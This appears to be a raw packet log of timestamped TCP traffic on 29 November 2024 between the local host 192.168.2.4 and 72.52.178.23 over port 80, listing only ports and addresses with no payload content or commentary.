Nov 29, 2024 01:53:10.713816881 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.713860035 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.833817005 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.833834887 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.833906889 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.833925962 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.833946943 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.833956957 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.834024906 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.877718925 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.877866983 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.997709036 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.997808933 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:11.041718006 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.041769028 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:11.161678076 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.253658056 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.253710032 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:11.502913952 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.503038883 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:11.511380911 CET	80	49858	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.511431932 CET	49858	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:11.511461973 CET	49858	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:11.547832012 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.547913074 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:11.624258041 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.628513098 CET	49865	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:11.632627010 CET	80	49858	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.668102980 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.668112993 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.668200016 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.668239117 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.668293953 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.668346882 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.668432951 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.748544931 CET	80	49865	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.750632048 CET	49865	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:11.750669003 CET	49865	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:11.778592110 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.782624960 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:11.782624960 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:11.870690107 CET	80	49865	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.902601004 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:11.959983110 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.079986095 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.080076933 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.080267906 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.080324888 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.080410957 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.080436945 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.200313091 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.200480938 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.200529099 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.200537920 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.200587034 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.200592995 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.200614929 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.200669050 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.200678110 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.200767994 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.200781107 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.200845003 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.200854063 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.200989962 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.320579052 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.320621967 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.320673943 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.320728064 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.320760965 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.320770979 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.320830107 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.361680984 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.361809969 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.481674910 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.481775045 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.529624939 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.529680014 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.645679951 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.733675003 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.736658096 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.937028885 CET	80	49865	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.937104940 CET	49865	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.937155962 CET	49865	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:12.981664896 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:12.981822968 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.052788973 CET	49871	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.057059050 CET	80	49865	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.070898056 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.070969105 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.103029013 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.172683001 CET	80	49871	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.172749996 CET	49871	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.172992945 CET	49871	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.192177057 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.192190886 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.192251921 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.192260981 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.192303896 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.192411900 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.192426920 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.192435026 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.292859077 CET	80	49871	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.309441090 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.309501886 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.309619904 CET	49866	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.429469109 CET	80	49866	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.479224920 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.599982023 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.600085974 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.600236893 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.600323915 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.600397110 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.600420952 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.720073938 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.720210075 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.720305920 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.720336914 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.720398903 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.720428944 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.720438004 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.720441103 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.720508099 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.720581055 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.720581055 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.720628977 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.720638037 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.720644951 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.720680952 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.720696926 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.720727921 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.720788956 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.840456963 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.840475082 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.840536118 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.840538979 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.840568066 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.840702057 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.840702057 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:13.881634951 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:13.881838083 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.001660109 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.001754045 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.045717001 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.045867920 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.165707111 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.253705025 CET	80	49872	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.253835917 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.315535069 CET	49872	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.315573931 CET	49871	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.358058929 CET	80	49871	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.358119965 CET	49871	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.426843882 CET	49873	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.478821993 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.546792984 CET	80	49873	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.546866894 CET	49873	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.546977043 CET	49873	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.598803997 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.598891020 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.598989010 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.599049091 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.599116087 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.599136114 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.666860104 CET	80	49873	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.718936920 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.719141960 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.719151020 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.719196081 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.719301939 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.719316006 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.719383001 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.719388008 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.719397068 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.719449043 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.719460011 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.719475985 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.719501019 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.719516993 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.719541073 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.719594002 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.719677925 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.719733953 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.839375973 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.839386940 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.839436054 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.839479923 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.839554071 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.839554071 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:14.881674051 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:14.881772995 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:15.001662016 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.001749039 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:15.049772024 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.049932003 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:15.165935993 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.265707970 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.265764952 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:15.513645887 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.513699055 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:15.594921112 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.594988108 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:15.635118008 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.684561968 CET	80	49873	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.684627056 CET	49873	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:15.684668064 CET	49873	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:15.714972973 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.714986086 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.714996099 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.715121984 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.715133905 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.715254068 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.715284109 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.804578066 CET	80	49873	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.816675901 CET	49880	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:15.833848953 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.833914042 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:15.833945990 CET	49874	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:15.936630011 CET	80	49880	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:15.940670013 CET	49880	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:15.945132017 CET	49880	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:15.955059052 CET	80	49874	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.065618038 CET	80	49880	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.198375940 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.318397999 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.318470001 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.318600893 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.318648100 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.318728924 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.318810940 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.438517094 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.438612938 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.438637972 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.438729048 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.438788891 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.438800097 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.438857079 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.438894033 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.438904047 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.438932896 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.438942909 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.438951969 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.439012051 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.439049959 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.439060926 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.439064980 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.439114094 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.559031963 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.559045076 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.559098005 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.559111118 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.559135914 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.559168100 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.559190989 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.601815939 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.601974964 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.721752882 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.721837997 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.765700102 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.765758038 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:16.885662079 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:16.885716915 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.045712948 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.045762062 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.102054119 CET	80	49880	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.102127075 CET	49880	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.102158070 CET	49880	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.206892967 CET	49883	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.222053051 CET	80	49880	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.249700069 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.249752045 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.309839010 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.309940100 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.326772928 CET	80	49883	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.326834917 CET	49883	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.326968908 CET	49883	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.369647026 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.430066109 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.430102110 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.430149078 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.430186033 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.430267096 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.430275917 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.430318117 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.446831942 CET	80	49883	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.550339937 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.550384998 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.550451040 CET	49881	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.670269012 CET	80	49881	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.707875013 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.828000069 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.828078985 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.828219891 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.828286886 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.828366995 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.828418016 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.948421001 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.948539972 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.948549986 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.948638916 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.948687077 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.948697090 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.948707104 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.948769093 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.948838949 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.948847055 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.948934078 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.948967934 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.948976994 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.948985100 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.948997021 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:17.949053049 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:17.949053049 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:18.068615913 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.068763971 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:18.068870068 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.068881989 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.069006920 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:18.069067001 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.069195032 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:18.109736919 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.109853029 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:18.229850054 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.229949951 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:18.273714066 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.274127960 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:18.393712044 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.475166082 CET	80	49883	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.479496956 CET	49883	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:18.479757071 CET	49883	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:18.481683016 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.482022047 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:18.583093882 CET	49889	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:18.599634886 CET	80	49883	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.703219891 CET	80	49889	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.703468084 CET	49889	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:18.703598976 CET	49889	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:18.729672909 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.736809969 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:18.823477983 CET	80	49889	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.829511881 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.831885099 CET	49888	80	192.168.2.4	72.52.178.23
